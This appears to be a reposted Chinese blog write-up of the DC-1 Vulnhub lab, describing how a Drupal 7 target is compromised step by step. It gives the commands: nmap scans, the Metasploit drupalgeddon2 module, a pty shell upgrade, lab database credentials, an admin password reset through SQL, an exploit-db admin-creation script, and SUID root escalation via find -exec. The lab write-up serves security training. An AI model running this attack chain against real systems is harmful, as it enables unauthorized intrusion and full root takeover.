IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> dc-1 靶机渗透学习 -> 正文阅读

[网络协议]dc-1 靶机渗透学习

环境:

Vmware 虚拟机软件

dc -1 靶机ip地址:192.168.202.130

kali攻击机ip地址:192.168.202.129

本次渗透过程kali攻击机和dc靶机都采取NAT模式

信息收集

首先用ipconfig查看当前kali机所处网段。

得到当前kali机的ip地址后,用nmap对当前网段进行扫描,主机探活。

nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程

nmap -sP 192.168.202.0/24?

上面命令中的/24的解释是:/24 = 255.255.255.0,加个/24是告诉nmap扫描当前网段

扫到了五个ip,排除kali机还有本地的物理机,还剩下3个ip,那么怎么判断哪个是我们要攻击的机子呢?

这时候就得通过nmap的其它指令来探测每个ip主机打开的端口,通过打开的端口服务来判断。

nmap -A -p- -v  192.168.202.130

-A :此选项设置包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测。

-p- :扫描所有端口? 1-65535

-v:设置对结果的详细输出,效果和-vv差不多

nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程

nmap使用教程_weixin_30372371的博客-CSDN博客

nmap基本使用方法 - bonelee - 博客园

这里直接扫192.168.202.130,可以自己扫一下其它有嫌疑的ip,就可以根据开启的端口服务排除了。

发现80端口开启,在浏览器访问一下80端口。

那么接下来的思路是怎么样呢?简单试一下没试出sql注入?,观察一下这个页面,发现是Drupal框架,看一下百度百科的解释??Drupal_百度百科

?猜测一下Drupal可能存在框架漏洞,通过上面的扫描我们找到是Drupal 7

其实感觉也可以通过whatweb来查看框架,Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如它的名字一样,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等。

简单了解一下msf吧

在渗透过程中,MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。

打开msf,搜索一下该框架的漏洞

msfconsole

搜索Drupal 7的漏洞

选择一个最近几年,同时品质比较好的,即exploit/unix/webapp/drupal_drupalgeddon2 ,2018年的,rank为excellent

use exploit/unix/webapp/drupal_drupalgeddon2

set RHOSTS 192.168.202.130

第一条命令是使用这个漏洞,第二条命令是将攻击目标的ip设为192.168.202.130。?

接着可以一个show options 来看一下RHOSTS和LHOST(本机ip地址)设置好了没

设置完毕就可以用run命令启动,来获取meterpreter 会话,进而命令执行了?

到了这一步得执行一下shell命令,然后利用python来获得一个交互shell。

shell

python -c 'import pty; pty.spawn("/bin/bash")'
或者

python3 -c 'import pty; pty.spawn("/bin/bash")'?

我们来看一下原因:

虽然说不执行shell命令也可以拿到第一个flag,但后面的flag得连接数据库才能得到。

而连接数据库就要通过交互shell来进行,因为meterpreter 会话感觉只是通过框架漏洞发送数据进行命令执行。而第一次输入shell命令只是利用shell脚本,将存放在shell脚本里面的命令读取并执行,这个过程虽然能得到回显,但是在连接数据库时无法进行交互。?

shell(计算机壳层)_百度百科

所以还得利用python来产生一个交互shell,才能在后面的操作中与数据库连接,并且与数据库进行交互。

到此,第一个flag就拿到了,下面开始第二个flag。

第二个flag

在拿到第一个flag的时候,提示要找配置文件,我们百度找一下Drupal框架的配置文件在哪。

百度查找Drupal7默认配置发现Drupal 数据库配置连接-->/sites/default/settings.php

?直接cd进入当前目录下,然后cat settings.php

cd /var/www/sites/default

ls

cat settings.php

在flag2里面发现了数据库的账号和密码,直接进行连接。

mysql -udbuser -pR0ck3t

?然后查库名、表名、列名什么的.......

?最后你会发现还是得select * from users;

第三个flag

到此为止已经找到了用于登录的用户账号和密码密文了,但是密码密文不能直接使用,所以要真正得到这个账号有两种办法。

一、更改后台的密码

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

回到/var/www路径下,运行这个password-hash.sh加密脚本,得到新密码

cd ../

php scripts/password-hash.sh 123

将得到的密文在mysql中利用update语句更改密码,重新进入mysql的时候记得use drupaldb;这个命令来使用drupaldb数据库。

update users set pass='$S$DSONG7gsKJzu9tytwcz4DHmszpx52i.bVcEPv58aKHqduJVNFE5r' where uid=1;

回到靶机80端口开放的页面进行登录,admin,123。

在Dashboard找到第三个flag。

二、利用Drupal框架的sql漏洞再创建一个具有admin权限的用户

先查看Drupal版本,确定Drupal版本为7.24

cat /var/www/includes/bootstrap.inc  |  grep VERSION

msf > searchsploit drupal   #查找针对Drupal的攻击脚本

?利用drupal7.0<7.31版本漏洞增加有admin权限的用户:admin1/admin1

?这里输入攻击命令的时候得加上完整路径,这个版本的msf可能没有显示出来

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.202.130 -u admin1 -p admin1

可以看到完成攻击,登录成功了

重新登录一下mysql查看,发现用户已经添加了

第四个flag

第三个flag提示的关键词是PERMS、FIND、passwd、-exec、shadow,查看一下/etc/passwd

,发现flag4用户

看一下/home/flag4的文件,尝试cat /home/flag4/flag4.txt,拿到flag4,发现提示我们将权限提升到root

根据提示把权限提升至root,尝试进行SUID提权,先来简单了解一下SUID提权。

什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

如果/user/bin/find命令有SUID权限,那么如何利用find命令来进行提权呢?

一个典型的例子是将SUID权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。

?find命令是包含用于执行命令的参数的,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

Linux find命令:在目录中查找文件(超详解) (biancheng.net)

Linux find 命令 | 菜鸟教程 (runoob.com)

可以看一下大佬们的文章

谈一谈Linux与suid提权 | 离别歌?

Linux通过第三方应用提权实战总结 - FreeBuf网络安全行业门户

https://xz.aliyun.com/t/7924#toc-14

最后一个flag

下面就开始我们SUID提权的步骤:

首先找一下有SUID权限的文件

find / -perm -4000

?find基础命令与提权教程 - 灰信网(软件开发博客聚合)

看到find命令有SUID权限,所以这里可以利用find命令进行提权。

用find命令包含的-exec参数进行提权

find /var/www -exec "/bin/sh" \;

这个命令中的/bin/sh是linux内核和用户之间的命令解释器,可以将我们的命令解释并发送给linux内核。

提权后发现我们的权限已经升级为root了,这下可以查看一下root目录的文件,直接拿到最后一个flag。?

参考文章

?Vulnhub靶机实战——DC-1_冠霖L的博客-CSDN博客_vulnhub靶机实战

DC-1靶机攻略 - shadow-ink - 博客园

vulnhub-DC1靶机 - xinZa1

谈一谈Linux与suid提权 | 离别歌

Linux通过第三方应用提权实战总结 - FreeBuf网络安全行业门户

https://xz.aliyun.com/t/7924#toc-14

nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程

nmap使用教程_weixin_30372371的博客-CSDN博客

nmap基本使用方法 - bonelee - 博客园

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-13 22:11:44  更:2022-03-13 22:12:16 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 6:41:04-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码